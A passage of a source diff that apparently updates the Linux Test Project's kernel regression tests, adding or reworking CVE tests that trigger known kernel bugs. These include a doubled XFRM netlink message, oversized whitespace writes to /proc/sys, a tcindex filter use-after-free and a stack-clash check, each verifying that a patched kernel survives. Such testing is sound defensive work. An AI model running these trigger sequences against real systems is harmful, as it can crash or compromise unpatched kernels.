static void do_child(void) { int i, ncpus; @@ -414,7 +412,7 @@ static void do_child(void) for (i = 0; i < ncpus; i++) SAFE_PTHREAD_CREATE(&threads[i], NULL, child_thread, NULL); - sleep(TIME_TO_GIVEUP); + sleep(tst_remaining_runtime()); running = 0; for (i = 0; i < ncpus; i++) { @@ -467,7 +465,7 @@ static struct tst_test test = { .needs_root = 1, .needs_checkpoints = 1, .setup = setup, - .timeout = TIMEOUT, + .max_runtime = 180, .test_all = run, .tags = (const struct tst_tag[]) { {"linux-git", "9b6e6a8334d5"}, @@ -476,8 +474,8 @@ static struct tst_test test = { } }; -#else /* HAVE_PERF_EVENT_ATTR && (defined(__x86_64__) || defined(__i386__)) */ +#else /* defined(__x86_64__) || defined(__i386__) */ -TST_TEST_TCONF("no perf_event_attr or not (i386 or x86_64)"); +TST_TEST_TCONF("not (i386 or x86_64)"); #endif diff --git a/testcases/cve/cve-2016-10044.c b/testcases/cve/cve-2016-10044.c index 7519676a..6a8c77f3 100755 --- a/testcases/cve/cve-2016-10044.c +++ b/testcases/cve/cve-2016-10044.c @@ -14,12 +14,12 @@ #include #include #include -#include "lapi/syscalls.h" #include "lapi/personality.h" #include "tst_test.h" #include "tst_safe_stdio.h" +#include "lapi/syscalls.h" -static FILE *f; +static FILE * f; static void cleanup(void) { @@ -29,7 +29,7 @@ static void cleanup(void) static void run(void) { - void* ctx = 0; + void *ctx = 0; char perms[8], line[BUFSIZ]; SAFE_PERSONALITY(READ_IMPLIES_EXEC); @@ -44,7 +44,7 @@ static void run(void) tst_brk(TCONF, "Could not find mapping in /proc/self/maps"); found_mapping: - if (sscanf(line, "%*x-%*x %s7", perms) < 0) + if (sscanf(line, "%*x-%*x %s", perms) != 1) tst_brk(TBROK, "failed to find permission string in %s", line); if (strchr(perms, (int)'x')) tst_res(TFAIL, "AIO mapping is executable: %s!", perms); @@ -61,7 +61,6 @@ found_mapping: static struct tst_test test = { .test_all = run, .cleanup = cleanup, - .min_kver = "2.6.8", .tags = (const struct tst_tag[]) { {"linux-git", "22f6b4d34fcf"}, {"CVE", "2016-10044"}, diff --git a/testcases/cve/cve-2016-7117.c b/testcases/cve/cve-2016-7117.c index dca00292..10933398 100755 --- a/testcases/cve/cve-2016-7117.c +++ b/testcases/cve/cve-2016-7117.c @@ -149,7 +149,7 @@ static struct tst_test test = { .test_all = run, .setup = setup, .cleanup = cleanup, - .min_kver = "2.6.33", + .max_runtime = 60, .tags = (const struct tst_tag[]) { {"linux-git", "a2e2725541fa"}, {"CVE", "2016-7117"}, diff --git a/testcases/cve/cve-2017-16939.c b/testcases/cve/cve-2017-16939.c index d8c09014..18747398 100755 --- a/testcases/cve/cve-2017-16939.c +++ b/testcases/cve/cve-2017-16939.c @@ -13,7 +13,6 @@ */ #include -#include #include #include #include @@ -26,57 +25,74 @@ #include "tst_res_flags.h" #include "tst_safe_macros.h" #include "tst_safe_net.h" -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" -#define BUFSIZE 2048 - -static int fd; -static struct sockaddr_nl addr; - -struct msg_policy { - struct nlmsghdr msg; - char buf[BUFSIZE]; -}; -static struct msg_policy *p; +static int fd = -1; +static struct sockaddr_nl nl_addr; +static struct nlmsghdr xfrm_msg; static void setup(void) { - if (unshare(CLONE_NEWUSER) != 0) - tst_brk(TCONF, "unshare(CLONE_NEWUSER) failed"); - if (unshare(CLONE_NEWNET) != 0) - tst_brk(TCONF, "unshare(CLONE_NEWNET) failed"); + tst_setup_netns(); - fd = SAFE_SOCKET(PF_NETLINK, SOCK_RAW, NETLINK_XFRM); - memset(&addr, 0, sizeof(struct sockaddr_nl)); - addr.nl_family = AF_NETLINK; - addr.nl_pid = 0; /* packet goes into the kernel */ - addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */ + nl_addr.nl_family = AF_NETLINK; + nl_addr.nl_pid = 0; /* packet goes into the kernel */ + nl_addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */ - p = SAFE_MALLOC(sizeof(struct msg_policy)); - memset(p, 0, sizeof(struct msg_policy)); + xfrm_msg.nlmsg_len = NLMSG_LENGTH(0); + xfrm_msg.nlmsg_type = XFRM_MSG_GETPOLICY; + xfrm_msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI | NLM_F_REQUEST; + xfrm_msg.nlmsg_seq = 0x1; + xfrm_msg.nlmsg_pid = 2; +} - p->msg.nlmsg_len = 0x10; - p->msg.nlmsg_type = XFRM_MSG_GETPOLICY; - p->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI | NLM_F_REQUEST; - p->msg.nlmsg_seq = 0x1; - p->msg.nlmsg_pid = 2; +static void send_nlmsg(int fd, struct nlmsghdr *msg, struct sockaddr_nl *addr) +{ + SAFE_SENDTO(1, fd, (void *)msg, msg->nlmsg_len, 0, + (struct sockaddr *)addr, sizeof(struct sockaddr_nl)); } static void run(void) { - int var = 0x100; + fd = SAFE_SOCKET(PF_NETLINK, SOCK_RAW, NETLINK_XFRM); + SAFE_SETSOCKOPT_INT(fd, SOL_SOCKET, SO_RCVBUF, 0x100); - SAFE_SETSOCKOPT(fd, SOL_SOCKET, SO_RCVBUF, &var, sizeof(int)); - SAFE_SENDTO(1, fd, (void *) &p->msg, p->msg.nlmsg_len, 0, - (struct sockaddr *) &addr, - sizeof(struct sockaddr_nl)); + /* message must be sent twice to trigger the bug */ + send_nlmsg(fd, &xfrm_msg, &nl_addr); + send_nlmsg(fd, &xfrm_msg, &nl_addr); + SAFE_CLOSE(fd); + + /* wait for socket close callback to crash */ + usleep(100000); + + if (tst_taint_check()) { + tst_res(TFAIL, "Kernel is vulnerable"); + return; + } tst_res(TPASS, "Kernel seems to have survived"); } +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + static struct tst_test test = { .setup = setup, .test_all = run, + .cleanup = cleanup, + .taint_check = TST_TAINT_W | TST_TAINT_D, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS=y", + "CONFIG_NET_NS=y", + NULL + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} + }, .tags = (const struct tst_tag[]) { {"linux-git", "1137b5e2529a"}, {"CVE", "2017-16939"}, diff --git a/testcases/cve/cve-2017-2671.c b/testcases/cve/cve-2017-2671.c index e72795d1..9092481d 100755 --- a/testcases/cve/cve-2017-2671.c +++ b/testcases/cve/cve-2017-2671.c @@ -109,6 +109,7 @@ static struct tst_test test = { .test_all = run, .cleanup = cleanup, .needs_root = 1, + .max_runtime = 40, .tags = (const struct tst_tag[]) { {"linux-git", "43a6684519ab"}, {"CVE", "2017-2671"}, diff --git a/testcases/cve/cve-2022-4378.c b/testcases/cve/cve-2022-4378.c new file mode 100644 index 00000000..402fa333 --- /dev/null +++ b/testcases/cve/cve-2022-4378.c @@ -0,0 +1,109 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2022 SUSE LLC + */ + +/*\ + * CVE 2022-4378 + * + * Check that writing several pages worth of whitespace into /proc/sys files + * does not cause kernel stack overflow. Kernel bug fixed in: + * + * commit bce9332220bd677d83b19d21502776ad555a0e73 + * Author: Linus Torvalds + * Date: Mon Dec 5 12:09:06 2022 -0800 + * + * proc: proc_skip_spaces() shouldn't think it is working on C strings + */ + +#include +#include "tst_test.h" + +static char *buf; +static unsigned int bufsize; +static int fd = -1; + +static struct testcase { + const char *path; + int err; +} testcase_list[] = { + {"/proc/sys/net/ipv4/icmp_ratelimit", EINVAL}, + {"/proc/sys/net/ipv4/icmp_ratemask", EINVAL}, + {"/proc/sys/net/ipv4/icmp_echo_ignore_all", EINVAL}, + {"/proc/sys/net/ipv4/tcp_probe_interval", EINVAL}, + {"/proc/sys/net/ipv4/tcp_keepalive_time", EINVAL}, + {"/proc/sys/net/ipv4/tcp_notsent_lowat", EINVAL}, + {"/proc/sys/net/ipv4/ip_local_reserved_ports", 0} +}; + +static void setup(void) +{ + tst_setup_netns(); + + bufsize = 2 * SAFE_SYSCONF(_SC_PAGESIZE); + buf = SAFE_MALLOC(bufsize); + memset(buf, '\n', bufsize); +} + +static void run(unsigned int n) +{ + const struct testcase *tc = testcase_list + n; + + if (access(tc->path, W_OK)) { + tst_res(TCONF | TERRNO, "Skipping %s", tc->path); + return; + } + + tst_res(TINFO, "Writing whitespace to %s", tc->path); + + fd = SAFE_OPEN(tc->path, O_WRONLY); + TEST(write(fd, buf, bufsize)); + SAFE_CLOSE(fd); + + if (TST_RET >= 0 && tc->err == 0) { + tst_res(TPASS, "write() passed as expected"); + } else if (TST_RET >= 0) { + tst_res(TFAIL, "write() unexpectedly passed"); + } else if (TST_RET != -1) { + tst_res(TFAIL | TTERRNO, "Invalid write() return value %ld", + TST_RET); + } else if (TST_ERR != tc->err) { + tst_res(TFAIL | TTERRNO, "write() returned unexpected error"); + } else { + tst_res(TPASS | TTERRNO, "write() failed as expected"); + } + + if (tst_taint_check()) + tst_res(TFAIL, "Kernel is vulnerable"); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); + + if (buf) + free(buf); +} + +static struct tst_test test = { + .test = run, + .tcnt = ARRAY_SIZE(testcase_list), + .setup = setup, + .cleanup = cleanup, + .taint_check = TST_TAINT_W | TST_TAINT_D, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS=y", + "CONFIG_NET_NS=y", + NULL + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "bce9332220bd"}, + {"CVE", "2022-4378"}, + {} + } +}; diff --git a/testcases/cve/icmp_rate_limit01.c b/testcases/cve/icmp_rate_limit01.c index 3ada3267..8ee50a27 100755 --- a/testcases/cve/icmp_rate_limit01.c +++ b/testcases/cve/icmp_rate_limit01.c @@ -29,12 +29,12 @@ #include #include -#include #include #include "lapi/if_addr.h" #include "tst_test.h" #include "tst_netdevice.h" +#include "lapi/sched.h" #define DSTNET 0xfa444e00 /* 250.68.78.0 */ #define SRCNET 0xfa444e40 /* 250.68.78.64 */ @@ -53,19 +53,11 @@ static void setup(void) struct sockaddr_in ipaddr = { .sin_family = AF_INET }; uint32_t addr; int i; - int real_uid = getuid(); - int real_gid = getgid(); for (i = 0; i < SRCADDR_COUNT; i++) fds[i] = -1; - SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10); - - SAFE_UNSHARE(CLONE_NEWUSER); - SAFE_UNSHARE(CLONE_NEWNET); - SAFE_FILE_PRINTF("/proc/self/setgroups", "deny"); - SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1\n", real_uid); - SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1\n", real_gid); + tst_setup_netns(); /* * Create network namespace to hide the destination interface from @@ -268,9 +260,9 @@ static struct tst_test test = { "CONFIG_NET_NS=y", NULL }, - .save_restore = (const char * const[]) { - "?/proc/sys/user/max_user_namespaces", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} }, .tags = (const struct tst_tag[]) { {"linux-git", "b38e7819cae9"}, diff --git a/testcases/cve/meltdown.c b/testcases/cve/meltdown.c index 76013e92..398e496a 100755 --- a/testcases/cve/meltdown.c +++ b/testcases/cve/meltdown.c @@ -15,7 +15,8 @@ #include #include -#ifdef HAVE_EMMINTRIN_H +/* emmintrin.h may exist for some non-x86 systems as an emulation */ +#if defined(HAVE_EMMINTRIN_H) && (defined(__x86_64__) || defined(__i386__)) #include #include "tst_tsc.h" @@ -376,7 +377,6 @@ static struct tst_test test = { .setup = setup, .test_all = run, .cleanup = cleanup, - .min_kver = "2.6.32", .supported_archs = (const char *const []) { "x86", "x86_64", diff --git a/testcases/cve/stack_clash.c b/testcases/cve/stack_clash.c index cd7f148c..3a99c49b 100755 --- a/testcases/cve/stack_clash.c +++ b/testcases/cve/stack_clash.c @@ -1,9 +1,14 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2017 Pavel Boldin + * Copyright (c) 2023 Rick Edgecombe + * Copyright (c) Linux Test Project, 2017-2023 */ -/* This is a regression test of the Stack Clash [1] vulnerability. This tests +/*\ + * [Description] + * + * This is a regression test of the Stack Clash [1] vulnerability. This tests * that there is at least 256 PAGE_SIZE of stack guard gap which is considered * hard to hop above. Code adapted from the Novell's bugzilla [2]. * @@ -18,11 +23,19 @@ * to infinity and preallocate REQ_STACK_SIZE bytes of stack so that no calls * after `mmap` are moving stack further. * + * If the architecture meets certain requirements (only x86_64 is verified) + * then the test also tests that new mmap()s can't be placed in the stack's + * guard gap. This part of the test works by forcing a bottom up search. The + * assumptions are that the stack grows down (start gap) and either: + * + * 1. The default search is top down, and will switch to bottom up if + * space is exhausted. + * 2. The default search is bottom up and the stack is above mmap base. + * * [1] https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash * [2] https://bugzilla.novell.com/show_bug.cgi?id=CVE-2017-1000364 */ -#include #include #include #include @@ -32,6 +45,7 @@ #include "tst_test.h" #include "tst_safe_stdio.h" +#include "lapi/mmap.h" static unsigned long page_size; static unsigned long page_mask; @@ -78,6 +92,49 @@ void segv_handler(int sig, siginfo_t *info, void *data LTP_ATTRIBUTE_UNUSED) _exit(EXIT_SUCCESS); } +static void force_bottom_up(void) +{ + FILE *fh; + char buf[1024]; + unsigned long start, end, size, lastend = 0; + + /* start filling from mmap_min_addr */ + SAFE_FILE_SCANF("/proc/sys/vm/mmap_min_addr", "%lu", &lastend); + + fh = SAFE_FOPEN("/proc/self/maps", "r"); + + while (!feof(fh)) { + if (fgets(buf, sizeof(buf), fh) == NULL) + goto out; + + if (sscanf(buf, "%lx-%lx", &start, &end) != 2) { + tst_brk(TBROK | TERRNO, "sscanf"); + goto out; + } + + size = start - lastend; + + /* Skip the PROT_NONE that was just added (!size). */ + if (!size) { + lastend = end; + continue; + } + + /* If the next area is the stack, quit. */ + if (!!strstr(buf, "[stack]")) + break; + + /* This is not cleaned up. */ + SAFE_MMAP((void *)lastend, size, PROT_NONE, + MAP_ANON|MAP_PRIVATE|MAP_FIXED_NOREPLACE, -1, 0); + + lastend = end; + } + +out: + SAFE_FCLOSE(fh); +} + unsigned long read_stack_addr_from_proc(unsigned long *stack_size) { FILE *fh; @@ -130,6 +187,28 @@ void __attribute__((noinline)) preallocate_stack(unsigned long required) garbage[0] = garbage[required - 1] = '\0'; } +static void do_mmap_placement_test(unsigned long stack_addr, unsigned long gap) +{ + void *map_test_gap; + + force_bottom_up(); + + /* + * force_bottom_up() used up all the spaces below the stack. The search down + * path should fail, and search up might take a look at the guard gap + * region. If it avoids it, the allocation will be above the stack. If it + * uses it, the allocation will be in the gap and the test should fail. + */ + map_test_gap = SAFE_MMAP(0, MAPPED_LEN, + PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, 0, 0); + + if (stack_addr - gap <= (unsigned long)map_test_gap && + (unsigned long)map_test_gap <= stack_addr) { + tst_res(TFAIL, "New mmap was placed in the guard gap."); + SAFE_MUNMAP(map_test_gap, MAPPED_LEN); + } +} + void do_child(void) { unsigned long stack_addr, stack_size; @@ -179,6 +258,11 @@ void do_child(void) dump_proc_self_maps(); #endif +#ifdef __x86_64__ + do_mmap_placement_test(stack_addr, gap); +#endif + + /* Now see if it can grow too close to an adjacent region. */ exhaust_stack_into_sigsegv(); } @@ -252,6 +336,7 @@ static struct tst_test test = { .test_all = stack_clash_test, .tags = (const struct tst_tag[]) { {"CVE", "2017-1000364"}, + {"linux-git", "58c5d0d6d522"}, {} } }; diff --git a/testcases/cve/tcindex01.c b/testcases/cve/tcindex01.c new file mode 100644 index 00000000..91bfafb5 --- /dev/null +++ b/testcases/cve/tcindex01.c @@ -0,0 +1,136 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC + * Author: Marcos Paulo de Souza + * LTP port: Martin Doucha + */ + +/*\ + * CVE-2023-1829 + * + * Test for use-after-free after removing tcindex traffic filter with certain + * parameters. + * + * Tcindex filter removed in: + * + * commit 8c710f75256bb3cf05ac7b1672c82b92c43f3d28 + * Author: Jamal Hadi Salim + * Date: Tue Feb 14 08:49:14 2023 -0500 + * + * net/sched: Retire tcindex classifier + */ + +#include +#include +#include +#include "tst_test.h" +#include "tst_rtnetlink.h" +#include "tst_netdevice.h" +#include "lapi/sched.h" +#include "lapi/if_ether.h" +#include "lapi/rtnetlink.h" + +#define DEVNAME "ltp_dummy1" + +static const uint32_t qd_handle = TC_H_MAKE(1 << 16, 0); +static const uint32_t clsid = TC_H_MAKE(1 << 16, 1); +static const uint32_t shift = 10; +static const uint16_t mask = 0xffff; + +/* rtnetlink payloads */ +static const struct tc_htb_glob qd_opt = { + .rate2quantum = 10, + .version = 3, + .defcls = 30 +}; +static struct tc_htb_opt cls_opt = {}; + +/* htb qdisc and class options */ +static const struct tst_rtnl_attr_list qd_config[] = { + {TCA_OPTIONS, NULL, 0, (const struct tst_rtnl_attr_list[]){ + {TCA_HTB_INIT, &qd_opt, sizeof(qd_opt), NULL}, + {0, NULL, -1, NULL} + }}, + {0, NULL, -1, NULL} +}; +static const struct tst_rtnl_attr_list cls_config[] = { + {TCA_OPTIONS, NULL, 0, (const struct tst_rtnl_attr_list[]){ + {TCA_HTB_PARMS, &cls_opt, sizeof(cls_opt), NULL}, + {0, NULL, -1, NULL} + }}, + {0, NULL, -1, NULL} +}; + +/* tcindex filter options */ +static const struct tst_rtnl_attr_list f_config[] = { + {TCA_OPTIONS, NULL, 0, (const struct tst_rtnl_attr_list[]){ + {TCA_TCINDEX_MASK, &mask, sizeof(mask), NULL}, + {TCA_TCINDEX_SHIFT, &shift, sizeof(shift), NULL}, + {TCA_TCINDEX_CLASSID, &clsid, sizeof(clsid), NULL}, + {0, NULL, -1, NULL} + }}, + {0, NULL, -1, NULL} +}; + +static void setup(void) +{ + tst_setup_netns(); + NETDEV_ADD_DEVICE(DEVNAME, "dummy"); + + cls_opt.rate.rate = cls_opt.ceil.rate = 256000; + cls_opt.buffer = 1000000 * 1600 / cls_opt.rate.rate; + cls_opt.cbuffer = 1000000 * 1600 / cls_opt.ceil.rate; +} + +static void run(void) +{ + int ret; + + NETDEV_ADD_QDISC(DEVNAME, AF_UNSPEC, TC_H_ROOT, qd_handle, "htb", + qd_config); + NETDEV_ADD_TRAFFIC_CLASS(DEVNAME, qd_handle, clsid, "htb", cls_config); + NETDEV_ADD_TRAFFIC_FILTER(DEVNAME, qd_handle, 10, ETH_P_IP, 1, + "tcindex", f_config); + NETDEV_REMOVE_TRAFFIC_FILTER(DEVNAME, qd_handle, 10, ETH_P_IP, + 1, "tcindex"); + ret = tst_netdev_add_traffic_filter(__FILE__, __LINE__, 0, DEVNAME, + qd_handle, 10, ETH_P_IP, 1, "tcindex", f_config); + TST_ERR = tst_rtnl_errno; + NETDEV_REMOVE_QDISC(DEVNAME, AF_UNSPEC, TC_H_ROOT, qd_handle, "htb"); + + if (ret) + tst_res(TPASS, "Removing tcindex filter works correctly"); + else if (TST_ERR == EEXIST) + tst_res(TFAIL, "Kernel traffic filter list is corrupted"); + else + tst_brk(TBROK | TTERRNO, "Unexpected rtnetlink error"); +} + +static void cleanup(void) +{ + NETDEV_REMOVE_DEVICE(DEVNAME); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .taint_check = TST_TAINT_W | TST_TAINT_D, + .needs_kconfigs = (const char *[]) { + "CONFIG_VETH", + "CONFIG_USER_NS=y", + "CONFIG_NET_NS=y", + "CONFIG_NET_SCH_HTB", + "CONFIG_NET_CLS_TCINDEX", + NULL + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "8c710f75256b"}, + {"CVE", "2023-1829"}, + {} + } +}; diff --git a/testcases/kernel/Makefile b/testcases/kernel/Makefile index 4604f1f3..bf890e17 100755 --- a/testcases/kernel/Makefile +++ b/testcases/kernel/Makefile @@ -38,11 +38,16 @@ SUBDIRS += connectors \ sound \ tracing \ uevents \ + watchqueue \ ifeq ($(WITH_POWER_MANAGEMENT_TESTSUITE),yes) SUBDIRS += power_management endif +ifeq ($(WITH_KVM_TESTSUITE),yes) +SUBDIRS += kvm +endif + endif ifeq ($(ANDROID),1) diff --git a/testcases/kernel/connectors/pec/cn_pec.sh b/testcases/kernel/connectors/pec/cn_pec.sh index 74e94dc5..dce7f210 100755 --- a/testcases/kernel/connectors/pec/cn_pec.sh +++ b/testcases/kernel/connectors/pec/cn_pec.sh @@ -11,7 +11,7 @@ TST_OPTS="n:" TST_SETUP=setup -TST_TESTFUNC=test +TST_TESTFUNC=do_test TST_PARSE_ARGS=parse_args TST_USAGE=usage TST_NEEDS_ROOT=1 @@ -19,8 +19,6 @@ TST_NEEDS_TMPDIR=1 TST_NEEDS_CHECKPOINTS=1 TST_TEST_DATA="fork exec exit uid gid" -. tst_test.sh - num_events=10 LISTENER_ID=0 @@ -68,7 +66,7 @@ setup() tst_res TINFO "Test process events connector" } -test() +do_test() { local event=$2 local gen_pid list_pid gen_rc lis_rc @@ -146,4 +144,5 @@ test() fi } +. tst_test.sh tst_run diff --git a/testcases/kernel/connectors/pec/pec_listener.c b/testcases/kernel/connectors/pec/pec_listener.c index 21ae53e8..01ee91d4 100755 --- a/testcases/kernel/connectors/pec/pec_listener.c +++ b/testcases/kernel/connectors/pec/pec_listener.c @@ -19,9 +19,9 @@ #include #include #include -#include #define TST_NO_DEFAULT_MAIN -#include +#include "tst_test.h" +#include "tst_checkpoint.h" #ifndef NETLINK_CONNECTOR diff --git a/testcases/kernel/containers/Makefile b/testcases/kernel/containers/Makefile index 4285546e..20d2424a 100755 --- a/testcases/kernel/containers/Makefile +++ b/testcases/kernel/containers/Makefile @@ -1,33 +1,8 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) International Business Machines Corp., 2007 +# Copyright (C) 2023 SUSE LLC Andrea Cervesato top_srcdir ?= ../../.. include $(top_srcdir)/include/mk/env_pre.mk - -LIBDIR := libclone - -FILTER_OUT_DIRS := $(LIBDIR) - -LIB := $(LIBDIR)/libclone.a - -LDLIBS := -ldl -lltp - -INSTALL_TARGETS := *.sh - -$(LIBDIR): - mkdir -p "$@" - -# Make the target the real lib so we don't have to deal with rebuilding this -# every time the dependency is evaluated, like with PHONY rules. -$(LIB): $(LIBDIR) - $(MAKE) -C $^ -f "$(abs_srcdir)/$(LIBDIR)/Makefile" all - -MAKE_DEPS := $(LIB) - -trunk-clean:: | lib-clean - -lib-clean:: $(LIBDIR) - $(MAKE) -C $^ -f "$(abs_srcdir)/$(LIBDIR)/Makefile" clean - include $(top_srcdir)/include/mk/generic_trunk_target.mk diff --git a/testcases/kernel/containers/mountns/.gitignore b/testcases/kernel/containers/mountns/.gitignore new file mode 100644 index 00000000..0555e9b3 --- /dev/null +++ b/testcases/kernel/containers/mountns/.gitignore @@ -0,0 +1,4 @@ +mountns01 +mountns02 +mountns03 +mountns04 diff --git a/testcases/kernel/containers/mountns/Makefile b/testcases/kernel/containers/mountns/Makefile index bd42bf41..16284f4d 100755 --- a/testcases/kernel/containers/mountns/Makefile +++ b/testcases/kernel/containers/mountns/Makefile @@ -1,23 +1,8 @@ +# SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2014 Red Hat, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of version 2 the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -############################################################################## +# Copyright (C) 2021 SUSE LLC Andrea Cervesato -top_srcdir ?= ../../../.. +top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk -include $(abs_srcdir)/../Makefile.inc - -LDLIBS := -lclone $(LDLIBS) - include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/containers/mountns/mountns.h b/testcases/kernel/containers/mountns/mountns.h new file mode 100644 index 00000000..9bb85465 --- /dev/null +++ b/testcases/kernel/containers/mountns/mountns.h @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2014 Red Hat, Inc. + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +#ifndef COMMON_H +#define COMMON_H + +#include "tst_test.h" + +#define DIRA "LTP_DIR_A" +#define DIRB "LTP_DIR_B" + +static void umount_folders(void) +{ + if (tst_is_mounted(DIRA)) + SAFE_UMOUNT(DIRA); + + if (tst_is_mounted(DIRB)) + SAFE_UMOUNT(DIRB); +} + +static void create_folders(void) +{ + SAFE_MKDIR(DIRA, 0777); + SAFE_MKDIR(DIRB, 0777); + SAFE_TOUCH(DIRA "/A", 0, NULL); + SAFE_TOUCH(DIRB "/B", 0, NULL); +} + +#endif diff --git a/testcases/kernel/containers/mountns/mountns01.c b/testcases/kernel/containers/mountns/mountns01.c index 0bd0c592..8d821ea4 100755 --- a/testcases/kernel/containers/mountns/mountns01.c +++ b/testcases/kernel/containers/mountns/mountns01.c @@ -1,149 +1,118 @@ -/* Copyright (c) 2014 Red Hat, Inc. - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of version 2 the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - *********************************************************************** - * File: mountns01.c +// SPDX-License-Identifier: GPL-2.0 +/* + * Copyright (c) 2014 Red Hat, Inc. + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * * Tests a shared mount: shared mount can be replicated to as many * mountpoints and all the replicas continue to be exactly same. - * Description: - * 1. Creates directories "A", "B" and files "A/A", "B/B" - * 2. Unshares mount namespace and makes it private (so mounts/umounts - * have no effect on a real system) - * 3. Bind mounts directory "A" to "A" - * 4. Makes directory "A" shared - * 5. Clones a new child process with CLONE_NEWNS flag - * 6. There are two test cases (where X is parent namespace and Y child - * namespace): - * 1) - * X: bind mounts "B" to "A" - * Y: must see "A/B" - * X: umounts "A" - * 2) - * Y: bind mounts "B" to "A" - * X: must see "A/B" - * Y: umounts "A" - ***********************************************************************/ - -#define _GNU_SOURCE + * + * [Algorithm] + * + * - Creates directories DIR_A, DIR_B and files DIR_A/"A", DIR_B/"B" + * - Unshares mount namespace and makes it private (so mounts/umounts have no + * effect on a real system) + * - Bind mounts directory DIR_A to DIR_A + * - Makes directory DIR_A shared + * - Clones a new child process with CLONE_NEWNS flag + * - There are two test cases (where X is parent namespace and Y child namespace): + * 1. First test case + * .. X: bind mounts DIR_B to DIR_A + * .. Y: must see DIR_A/"B" + * .. X: umounts DIR_A + * 2. Second test case + * .. Y: bind mounts DIR_B to DIR_A + * .. X: must see DIR_A/"B" + * .. Y: umounts DIR_A + */ + #include #include -#include -#include -#include "mountns_helper.h" -#include "test.h" -#include "safe_macros.h" +#include "mountns.h" +#include "tst_test.h" +#include "lapi/sched.h" -char *TCID = "mountns01"; -int TST_TOTAL = 2; - -#if defined(MS_SHARED) && defined(MS_PRIVATE) && defined(MS_REC) - -int child_func(void *arg LTP_ATTRIBUTE_UNUSED) +static void child_func(void) { - int ret = 0; - - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); + TST_CHECKPOINT_WAIT(0); - if (access(DIRA"/B", F_OK) == -1) - ret = 2; + if (access(DIRA "/B", F_OK) == 0) + tst_res(TPASS, "shared mount in parent passed"); + else + tst_res(TFAIL, "shared mount in parent failed"); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* bind mounts DIRB to DIRA making contents of DIRB visible - * in DIRA */ - if (mount(DIRB, DIRA, "none", MS_BIND, NULL) == -1) { - perror("mount"); - return 1; - } + /* bind mounts DIRB to DIRA making contents of DIRB visible in DIRA */ + SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - umount(DIRA); - return ret; + SAFE_UMOUNT(DIRA); } -static void test(void) +static void run(void) { - int status; + const struct tst_clone_args args = { + .flags = CLONE_NEWNS, + .exit_signal = SIGCHLD, + }; - /* unshares the mount ns */ - if (unshare(CLONE_NEWNS) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "unshare failed"); - /* makes sure parent mounts/umounts have no effect on a real system */ - SAFE_MOUNT(cleanup, "none", "/", "none", MS_REC|MS_PRIVATE, NULL); + SAFE_UNSHARE(CLONE_NEWNS); - /* bind mounts DIRA to itself */ - SAFE_MOUNT(cleanup, DIRA, DIRA, "none", MS_BIND, NULL); + /* makes sure parent mounts/umounts have no effect on a real system */ + SAFE_MOUNT("none", "/", "none", MS_REC | MS_PRIVATE, NULL); - /* makes mount DIRA shared */ - SAFE_MOUNT(cleanup, "none", DIRA, "none", MS_SHARED, NULL); + SAFE_MOUNT(DIRA, DIRA, "none", MS_BIND, NULL); + SAFE_MOUNT("none", DIRA, "none", MS_SHARED, NULL); - if (do_clone_tests(CLONE_NEWNS, child_func, NULL, NULL, NULL) == -1) - tst_brkm(TBROK | 